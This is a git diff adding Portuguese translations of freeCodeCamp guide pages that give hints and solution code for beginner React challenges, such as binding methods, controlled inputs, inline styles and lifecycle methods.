+
+Como muitas coisas na programação, há mais de uma maneira de vincular isso. Para este desafio, vamos nos ater à ligação de construtores.
+
+```js
+class MyClass { 
+  constructor() { 
+    this.myMethod = this.myMethod.bind(this); 
+  } 
+ 
+  myMethod() { 
+    // whatever myMethod does 
+  } 
+ } 
+```
+
+## Spoiler
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      itemCount: 0 
+    }; 
+    // change code below this line 
+    this.addItem = this.addItem.bind(this); 
+    // change code above this line 
+  } 
+  addItem() { 
+    this.setState({ 
+      itemCount: this.state.itemCount + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <button onClick={this.addItem}>Click Me</button> 
+        { /* change code above this line */ } 
+        <h1>Current Item Count: {this.state.itemCount}</h1> 
+      </div> 
+    ); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
new file mode 100644
index 0000000000..d91d24037e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/change-inline-css-conditionally-based-on-component-state/index.md
@@ -0,0 +1,68 @@
+---
+title: Change Inline CSS Conditionally Based on Component State
+localeTitle: Alterar Inline CSS Condicionalmente Baseado no Estado do Componente
+---
+## Alterar Inline CSS Condicionalmente Baseado no Estado do Componente
+
+## Sugestão 1:
+
+Você estará verificando o comprimento de `this.state.input` então use sua propriedade `.length` .
+```
+this.state.input.length 
+```
+
+## Dica 2:
+
+Você está inserindo o código antes da declaração de retorno para poder usar um JavaScript puro `if/then` declaração.
+
+## Solução:
+
+Você usará uma instrução `if/then` para verificar o valor de `this.state.input.length` . Se for maior que 15, atribua `'3px solid red'` a `inputStyle.border` .
+
+```jsx
+class GateKeeper extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      input: '' 
+    }; 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ input: event.target.value }) 
+  } 
+  render() { 
+    let inputStyle = { 
+      border: '1px solid black' 
+    }; 
+    // change code below this line 
+    if (this.state.input.length > 15) { 
+      inputStyle.border = '3px solid red'; 
+    } 
+    // change code above this line 
+    return ( 
+      <div> 
+        <h3>Don't Type Too Much:</h3> 
+        <input 
+          type="text" 
+          style={inputStyle} 
+          value={this.state.input} 
+          onChange={this.handleChange} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## Solução
+
+Escreva uma instrução condicional que seja avaliada de acordo com o seu estado, conforme mencionado na descrição do desafio, verifique o comprimento da entrada e atribua um novo objeto à variável inputStyle.
+
+```react.js
+if (this.state.input.length > 15) { 
+  inputStyle = { 
+    border: '3px solid red' 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/compose-react-components/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/compose-react-components/index.md
new file mode 100644
index 0000000000..231e1f51e0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/compose-react-components/index.md
@@ -0,0 +1,49 @@
+---
+title: Compose React Components
+localeTitle: Compor Reagir Componentes
+---
+## Compor Reagir Componentes
+
+### Sugestão
+
+Use componentes aninhados como no desafio anterior para renderizar componentes.
+
+### Solução
+
+O seguinte é a solução para o chakkenge, onde ele renderiza Citrus e NonCitrus em um componente que é então renderizado em outro:
+
+```jsx
+class Fruits extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h2>Fruits:</h2> 
+        <NonCitrus /> 
+        <Citrus /> 
+      </div> 
+    ); 
+  } 
+ }; 
+ 
+ class TypesOfFood extends React.Component { 
+  constructor(props) { 
+     super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <Fruits /> 
+        <Vegetables /> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### Links Relevantes:
+
+*   [Componentes e Adereços](https://reactjs.org/docs/components-and-props.html)
+*   [Componentes aninhados](http://www.reactjstutorial.net/nested-components.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
new file mode 100644
index 0000000000..18714a2807
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-complex-jsx-element/index.md
@@ -0,0 +1,21 @@
+---
+title: Create a Complex JSX Element
+localeTitle: Crie um elemento JSX complexo
+---
+## Crie um elemento JSX complexo
+
+Dica:
+
+```html
+
+const JSX = <div> 
+  <h1>Heading.</h1> 
+  <p>Paragraph</p> 
+ <ul> 
+  <li>Coffee</li> 
+  <li>Tea</li> 
+  <li>Milk</li> 
+ </ul> 
+ </div>; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
new file mode 100644
index 0000000000..56b16b5297
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-component-with-composition/index.md
@@ -0,0 +1,38 @@
+---
+title: Create a Component with Composition
+localeTitle: Crie um componente com composição
+---
+## Crie um componente com composição
+
+### Sugestão 1
+
+Adicione o componente a ser renderizado no componente no qual ele será renderizado.
+
+### Sugestão 2
+
+Use tags de fechamento automático de JSX.
+
+### Dica 3
+
+O componente a ser renderizado é ChildComponenet e deve ser renderizado em ParentComponent
+
+### Solução
+
+A seguir será renderizado o ChildComponent no ParentComponent, conforme necessário:
+
+```javascript
+class ParentComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>I am the parent</h1> 
+        <ChildComponent /> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-form/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-form/index.md
new file mode 100644
index 0000000000..531eed85e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-form/index.md
@@ -0,0 +1,34 @@
+---
+title: Create a Controlled Form
+localeTitle: Crie um formulário controlado
+---
+## Crie um formulário controlado
+
+Criar um formulário controlado é o mesmo processo que criar uma entrada controlada, exceto que você precisa manipular um evento de envio.
+
+Primeiro, crie uma entrada controlada que armazene seu valor no estado, para que haja uma única fonte de verdade. (Isso é o que você fez no desafio anterior.) Crie um elemento de entrada, configure seu atributo de valor para a variável de entrada localizada no estado. Lembre-se, o estado pode ser acessado por `this.state` . Em seguida, defina o atributo `onChange` do elemento de entrada para chamar a função 'handleChange'.
+
+### Solução
+
+```react.js
+<input value={this.state.input} onChange={this.handleChange}/> 
+```
+
+Em seguida, crie o método handleSubmit para o seu componente. Primeiro, porque o formulário está sendo enviado, você terá que evitar que a página seja atualizada. Em segundo lugar, chame o método `setState()` , passando um objeto dos diferentes pares de valor-chave que você deseja alterar. Neste caso, você deseja definir 'submit' para o valor da variável 'input' e definir 'input' para uma string vazia.
+
+```react.js
+handleSubmit(event) { 
+  event.preventDefault(); 
+  this.setState({ 
+    input: '', 
+    submit: this.state.input 
+  }); 
+ } 
+```
+
+Agora que seus dados estão sendo manipulados no estado, podemos usar esses dados. Crie um elemento `h1` . Dentro do seu elemento `h1` , coloque sua variável 'submit'. Lembre-se de que 'submit' está localizado dentro do estado, então você precisará usar `this.state` . Além disso, colocar a variável no JSX requer chaves `{ }` porque é JavaScript.
+
+```jsx
+<h1>{this.state.submit}</h1> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-input/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-input/index.md
new file mode 100644
index 0000000000..ab9c3df9e3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-controlled-input/index.md
@@ -0,0 +1,35 @@
+---
+title: Create a Controlled Input
+localeTitle: Criar uma entrada controlada
+---
+## Criar uma entrada controlada
+
+Aqui a ideia é criar uma entrada controlada onde o texto é atualizado do seu estado, não do navegador.
+
+Então, para começar, temos um esqueleto no qual temos uma classe chamada `ControlledInput` e uma variável de estado chamada `input` . Agora, tudo o que você precisa fazer é pegar esse estado e, quando uma alteração na caixa de entrada é observada, disparar uma função que altera o valor dentro dessa caixa de entrada e no parágrafo abaixo dela.
+
+Então, o primeiro passo será fazer uma função que altere a `input` variável de estado.
+```
+handleChange(event) { 
+    this.setState({ 
+      input: event.target.value 
+    }); 
+ } 
+```
+
+Agora, seu próximo passo envolverá a criação de uma caixa de entrada e o acionará quando alguém digitar alguma coisa. Felizmente, temos um evento chamado `onChange()` para atender a essa finalidade. PS - Aqui está outra maneira de vincular `this` a uma função
+```
+<input onChange = {this.handleChange.bind(this)}/> 
+```
+
+Mas isso simplesmente não servirá ao seu propósito. Embora você possa sentir que está funcionando. Então, o que está acontecendo aqui é atualizações de texto do navegador e não do estado. Então, para corrigir isso, vamos adicionar um atributo de `value` e configurá-lo para `this.state.input` para o elemento de entrada que fará com que a entrada seja controlada pelo estado.
+```
+<input value = {this.state.input} onChange = {this.handleChange.bind(this)}/> 
+```
+
+Pode ser um pouco difícil de digerir, mas para deixar tudo mais claro, tente remover toda a coisa do `onChange` para que seu código se pareça com isso
+```
+<input value = {this.state.input}/> 
+```
+
+Agora execute os testes novamente, você é capaz de digitar alguma coisa? A resposta para isto será "NO" já que sua caixa de entrada está recebendo valor da `input` variável de estado já que não há mudança na `input` estado (uma string vazia inicialmente) que só acontecerá quando você acionar a função `handleChange()` só acontece quando você tem um manipulador de eventos como `onChange()` portanto, a string dentro da caixa de entrada permanecerá como é, ou seja, uma string vazia.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-react-component/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-react-component/index.md
new file mode 100644
index 0000000000..85ef948e06
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-react-component/index.md
@@ -0,0 +1,32 @@
+---
+title: Create a React Component
+localeTitle: Criar um componente de reação
+---
+## Criar um componente de reação
+
+## Sugestão 1:
+
+*   Você verá esses Componentes da React Class o tempo todo, então agora seria um ótimo momento para ficar confortável com eles. Lembre-se, neste exercício, você não precisa definir o componente, você só precisa fazer uma função retornar um pouco de html entre as linhas marcadas.
+*   Lembre-se da seção anterior e retorne um elemento "div" que contém um "h1" com o texto Hello React !.
+*   O elemento "div" tem um filho, então lembre-se de fechar todas as tags.
+
+## Solução
+
+```javascript
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div> 
+       <h1>Hello React!</h1> 
+      </div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+```
+
+Note que você não precisa colocar aspas ao redor do texto, porque quando você está trabalhando com JSX ele é tratado como HTML. Verifique também se a ortografia, o caso e a pontuação estão corretos! Se todo esse código parecer estranho, confira alguns dos ótimos materiais no Javascript ES6 aqui em freeCodeCamp.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
new file mode 100644
index 0000000000..c0e15ec0b0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-simple-jsx-element/index.md
@@ -0,0 +1,7 @@
+---
+title: Create a Simple JSX Element
+localeTitle: Crie um elemento JSX simples
+---
+## Crie um elemento JSX simples
+
+Este desafio é bastante simples, substitua o div no elemento JSX por h1 `javascript const JSX=<h1></h1>;` Em seguida, adicione o texto necessário. `javascript const JSX = <h1>Hello JSX!</h1>;`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateful-component/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateful-component/index.md
new file mode 100644
index 0000000000..94e7c76c62
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateful-component/index.md
@@ -0,0 +1,49 @@
+---
+title: Create a Stateful Component
+localeTitle: Criar um componente com estado
+---
+## Criar um componente com estado
+
+#### Sugestão 1:
+
+```JSX
+class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+        // "This" area may be a good place to use "dot" notation. 
+        // dont forget to describe "name" property inside the state and assign your name to a property of "name". 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## Solução
+
+```JSX
+class StatefulComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // initialize state here 
+ 
+    this.state = { 
+      name : "Name" 
+    } 
+ 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..9b2b395fa0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/create-a-stateless-functional-component/index.md
@@ -0,0 +1,25 @@
+---
+title: Create a Stateless Functional Component
+localeTitle: Criar um componente funcional sem estado
+---
+## Criar um componente funcional sem estado
+
+### Sugestão 1
+
+*   Funções sem estado são uma das maneiras de criar um componente React.
+*   Essas funções podem receber dados e processá-los, mas não gerenciam nem rastreiam alterações nesses dados.
+*   Para fazer o componente, um componente sem estado, uma função de retorno é uma das coisas necessárias e é isso que está faltando
+
+### Sugestão 2
+
+Uma função de retorno é adicionada assim
+
+```jsx
+return( 
+    <return elements> 
+ ); 
+```
+
+### Solução
+
+`jsx return( <div>Completed challenge!</div> );`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
new file mode 100644
index 0000000000..9a08dfd318
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/define-an-html-class-in-jsx/index.md
@@ -0,0 +1,25 @@
+---
+title: Define an HTML Class in JSX
+localeTitle: Definir uma classe HTML no JSX
+---
+## Definir uma classe HTML no JSX
+
+*   HTML e JSX podem parecer exatamente iguais, mas existem algumas diferenças entre eles.
+*   Uma dessas diferenças é a convenção de nomenclatura.
+*   Atributos HTML e referências de eventos no JSX se tornam camelCase (onclick => onClick).
+*   Também pode haver algumas palavras reservadas em JavaScript. Por exemplo, a palavra "class" não pode ser usada para definir classes HTML em JSX.Therefore em vez de usar "class" você pode usar "className".
+
+## Sugestão 1:
+
+*   Você pode querer mudar "class" para "className".
+
+## Solução
+
+```javascript
+const JSX = ( 
+  <div className = "myDiv"> 
+    <h1>Add a class to this div</h1> 
+  </div> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
new file mode 100644
index 0000000000..3d43027a94
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/give-sibling-elements-a-unique-key-attribute/index.md
@@ -0,0 +1,20 @@
+---
+title: Give Sibling Elements a Unique Key Attribute
+localeTitle: Dê aos Irmãos Elementos um Atributo de Chave Única
+---
+## Dê aos Irmãos Elementos um Atributo de Chave Única
+
+## Sugestão
+
+É quase o mesmo que o [desafio](https://learn.freecodecamp.org/front-end-libraries/react/use-array-map-to-dynamically-render-elements) anterior. Apenas você precisa adicionar o atributo- `key` .
+
+## Solução
+
+Basta adicionar `key` atributo- `key` à tag `<li>` para torná-lo exclusivo
+
+```react.js
+const renderFrameworks = frontEndFrameworks.map((item) => 
+  <li key={item+1}>{item}</li> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/index.md
new file mode 100644
index 0000000000..de83986088
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/index.md
@@ -0,0 +1,11 @@
+---
+title: React
+localeTitle: Reagir
+---
+## Reagir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/introducing-inline-styles/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/introducing-inline-styles/index.md
new file mode 100644
index 0000000000..2075fd4c12
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/introducing-inline-styles/index.md
@@ -0,0 +1,57 @@
+---
+title: Introducing Inline Styles
+localeTitle: Apresentando Estilos Inline
+---
+## Apresentando Estilos Inline
+
+## Solução
+
+Este pode ser um pouco complicado, porque o JSX é muito semelhante ao HTML, mas **não é o mesmo** .
+
+Vamos percorrer os passos para que você entenda a diferença. Primeiro, defina sua tag de estilo para um **objeto JavaScript** .
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+Agora você tem sua tag de estilo definida para um objeto vazio. Observe como há dois conjuntos de chaves. Essa é uma diferença importante entre JSX e HTML.
+
+Em segundo lugar, vamos definir a cor para vermelho.
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red' }}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+Finalmente, vamos definir o tamanho da fonte para 72px.
+
+### Spoiler
+
+```react.js
+class Colorful extends React.Component { 
+  render() { 
+    return ( 
+      <div style={{ color: 'red', fontSize: '72'}}> 
+        Big Red 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+Observe como o atributo JSX é **camelCase** . Essa é outra diferença importante a ser lembrada sobre o JSX. Além disso, você provavelmente notou que não há unidade. No JSX, ao definir o atributo fontSize, a **unidade é opcional** e será definida automaticamente como px, se não definida manualmente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
new file mode 100644
index 0000000000..8d11f160f7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/learn-about-self-closing-jsx-tags/index.md
@@ -0,0 +1,34 @@
+---
+title: Learn About Self-Closing JSX Tags
+localeTitle: Aprenda sobre tags JSX de fecho automático
+---
+## Aprenda sobre tags JSX de fecho automático
+
+## Sugestão 1:
+
+```js
+const JSX = ( 
+  <div> 
+    {/* remove comment and change code below this line // Remember that comments in JSX have parentheses. 
+    <h2>Welcome to React!</h2> <br > // ? 
+    <p>Be sure to close all tags!</p> 
+    <hr >  // ? 
+    remove comment and change code above this line */} // Remember that comments in JSX have parentheses. 
+  </div> 
+ ); 
+```
+
+## Solução
+
+```js
+const JSX = ( 
+  <div> 
+ 
+    <h2>Welcome to React!</h2> <br /> 
+    <p>Be sure to close all tags!</p> 
+    <hr /> 
+ 
+  </div> 
+ ); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
new file mode 100644
index 0000000000..bd1fc48317
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/manage-updates-with-lifecycle-methods/index.md
@@ -0,0 +1,79 @@
+---
+title: Manage Updates with Lifecycle Methods
+localeTitle: Gerenciar atualizações com métodos de ciclo de vida
+---
+## Gerenciar atualizações com métodos de ciclo de vida
+
+Este desafio permite criar algumas funções de ciclo de vida, componentWillUpdate e ComponentWillReceiveProps. Você receberá uma outra função chamada componentDidUpdate. Discutiremos como você os utiliza em cada estágio do ciclo de vida do componente e por que você deve usá-los quando estiver verificando diferentes estágios de seu componente.
+
+Vamos falar sobre as funções e como você as estará usando. Os ciclos de vida dos componentes podem ser divididos em 4 etapas. Inicialização -> Montagem -> Atualização -> Desmontagem. Os componentes com os quais você trabalharão estarão no estágio de atualização.
+
+A progressão na qual essas funções são chamadas é a seguinte: componentWillReceiveProps -> componentWillUpdate -> componentDidUpdate
+
+Quando você cria componentWillReceiveProps, essa função verifica se há novos objetos sendo recebidos. Se o componente recebeu novos suportes, a função será chamada e dentro do bloco você pode comparar os dois estados prop. A função terá um argumento normalmente chamado nextProps e irá compará-lo com this.props. O desafio é criar essa função usando o argumento passado nextProps. Veja a função fornecida abaixo.
+
+Em seguida, no component lifillcle componentWillUpdate será chamado, essa função verificará se houve alguma atualização em props ou state e será chamada antes que o componente seja renderizado. O desafio já lhe forneceu essa função e efetua o logout "O componente está prestes a ser atualizado".
+
+Depois que o componente passar pela fase componentWillUpdate e o componente renderizar, componentDidUpdate será chamado. Neste estágio, você pode chamar this.setState para atualizar qualquer chanegra de estado que tenha ocorrido durante as duas primeiras fases. Nota: você só pode chamar setState se você quebrar dentro de uma condição. Uma vez que este desafio apenas o faz arranhar a superfície, eles gostariam que você fizesse logout que o "componente foi atualizado".
+
+Depois de implementar todas as funções do ciclo de vida, você deverá ver alguns logs do console sendo exibidos. Primeiro, você verá o componentWillReceiveProps enviando this.props e nextProps. Em seguida, você verá um log do console avisando-o sobre o componentWillUpdate. Por fim, depois que o componente renderizar, ele chamará o componentDidUpdate e efetuará o logout "O componente foi atualizado".
+
+Nota: Os componentes que você está criando foram descontinuados e estarão disponíveis para uso até a versão 17. Você pode encontrar mais informações sobre essas funções na seção de recursos abaixo.
+
+```javascript
+class Dialog extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  componentWillUpdate() { 
+    console.log('Component is about to update...'); 
+  } 
+  // change code below this line 
+ 
+  // Create componentWillReceiveProps 
+  // Pass in argument nextProps and log out the current prop and next prop 
+  componentWillReceiveProps(nextProps) { 
+    // Log the current property and the next property 
+    console.log(this.props, nextProps) 
+  } 
+ 
+  // Create function componentDidUpdate 
+  // Log out that the component has updated 
+  componentDidUpdate() { 
+    console.log("Component has updated") 
+  } 
+ 
+  // change code above this line 
+  render() { 
+    return <h1>{this.props.message}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: 'First Message' 
+    }; 
+    this.changeMessage = this.changeMessage.bind(this); 
+  } 
+  changeMessage() { 
+    this.setState({ 
+      message: 'Second Message' 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.changeMessage}>Update</button> 
+        <Dialog message={this.state.message}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### Recursos
+
+*   [React Component Lifecycle](https://reactjs.org/docs/react-component.html#the-component-lifecycle)
+*   [React Component Lifecycle Visual](https://cdn-images-1.medium.com/max/2000/1*sn-ftowp0_VVRbeUAFECMA.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
new file mode 100644
index 0000000000..7a5256b0c8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/optimize-re-renders-with-shouldcomponentupdate/index.md
@@ -0,0 +1,63 @@
+---
+title: Optimize Re-Renders with shouldComponentUpdate
+localeTitle: Otimizar Re-Renders com shouldComponentUpdate
+---
+## Otimizar Re-Renders com shouldComponentUpdate
+
+## Dica:
+
+Verifique se o valor de `nextProps` é par.
+
+## Solução:
+
+Para esta solução, você usará uma instrução `if/then` para verificar se o valor de `nextProps` é par. `nextProps` difere de `props` por ser um valor que ainda não foi renderizado na UI, portanto, no método `shouldComponentUpdate()` , você está essencialmente solicitando permissão para atualizar a UI com o valor `nextProps` .
+
+```jsx
+class OnlyEvens extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  shouldComponentUpdate(nextProps, nextState) { 
+    console.log('Should I update?'); 
+     // change code below this line 
+      if (nextProps.value % 2 == 0) { 
+        return true; 
+      } 
+      return false; 
+     // change code above this line 
+  } 
+  componentWillReceiveProps(nextProps) { 
+    console.log('Receiving new props...'); 
+  } 
+  componentDidUpdate() { 
+    console.log('Component re-rendered.'); 
+  } 
+  render() { 
+    return <h1>{this.props.value}</h1> 
+  } 
+ }; 
+ 
+ class Controller extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      value: 0 
+    }; 
+    this.addValue = this.addValue.bind(this); 
+  } 
+  addValue() { 
+    this.setState({ 
+      value: this.state.value + 1 
+    }); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.addValue}>Add</button> 
+        <OnlyEvens value={this.state.value}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/override-default-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/override-default-props/index.md
new file mode 100644
index 0000000000..a5d79ce742
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/override-default-props/index.md
@@ -0,0 +1,31 @@
+---
+title: Override Default Props
+localeTitle: Substituir Adereços Padrão
+---
+## Substituir Adereços Padrão
+
+Esse desafio substitui o valor padrão da `quantity` de props para o componente Itens. Onde o valor padrão da `quantity` é definido como `0` .
+
+```react.js
+const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ } 
+ 
+ Items.defaultProps = { 
+  quantity: 0 
+ } 
+```
+
+Para substituir um valor props padrão, a sintaxe a ser seguida é
+
+```react.js
+<Component propsName={Value}/> 
+```
+
+Após a sintaxe, o seguinte código deve ser declarado abaixo do código fornecido
+
+```react.js
+<Items quantity={50}/> 
+```
+
+Isso substituirá o valor de `0` a `50`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
new file mode 100644
index 0000000000..45fdd2f292
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-a-callback-as-props/index.md
@@ -0,0 +1,47 @@
+---
+title: Pass a Callback as Props
+localeTitle: Passar um retorno de chamada como adereços
+---
+## Passar um retorno de chamada como adereços
+
+### Descrição
+
+*   Adicione o componente `GetInput` ao método render em MyApp e, em seguida, passe-o para um prop chamado `inpu` t atribuído a `inputValue` partir do estado de MyApp. Também crie um prop chamado `handleChange` e passe o manipulador de entrada `handleChange` para ele.
+*   Adicione `RenderInput` ao método render em MyApp, crie um prop chamado `input` e passe o `inputValue` de estado para ele.
+
+### Dicas
+
+*   `state` é uma propriedade da classe `Myapp` , então use 'this.state' para obter o valor do objeto
+*   Para aprender mais sobre estado e props, leia [State and Lifecycle](https://reactjs.org/docs/state-and-lifecycle.html) and [Components and Props](https://reactjs.org/docs/components-and-props.html) .
+
+### Solução
+
+```javascript
+class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      inputValue: '' 
+    } 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleChange(event) { 
+    this.setState({ 
+      inputValue: event.target.value 
+    }); 
+  } 
+  render() { 
+    return ( 
+       <div> 
+        { /* change code below this line */ 
+        <GetInput input={this.state.inputValue} handleChange={this.handleChange}/> 
+        } 
+        { /* change code above this line */ 
+        <RenderInput input={this.state.inputValue}/> 
+        } 
+       </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
new file mode 100644
index 0000000000..e678e61cdf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-an-array-as-props/index.md
@@ -0,0 +1,44 @@
+---
+title: Pass an Array as Props
+localeTitle: Passar uma matriz como adereços
+---
+## Passar uma matriz como adereços
+
+Para passar uma matriz como prop, primeiro uma matriz deve ser declarada como uma "tarefa" em cada um dos componentes a serem renderizados:
+
+```javascript
+const List= (props) => { 
+  return <p></p> 
+ }; 
+ 
+ class ToDo extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>To Do Lists</h1> 
+        <h2>Today</h2> 
+        <List tasks={["Walk", "Cook", "Bake"]} /> 
+        <h2>Tomorrow</h2> 
+        <List tasks={["Study", "Code", "Eat"]}/> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+Então, os adereços devem ser manipulados dentro do componente "List":
+
+```javascript
+const List= (props) => { 
+  return <p>{props.tasks.join(", ")}</p> 
+ }; 
+ 
+ // ... same as above 
+```
+
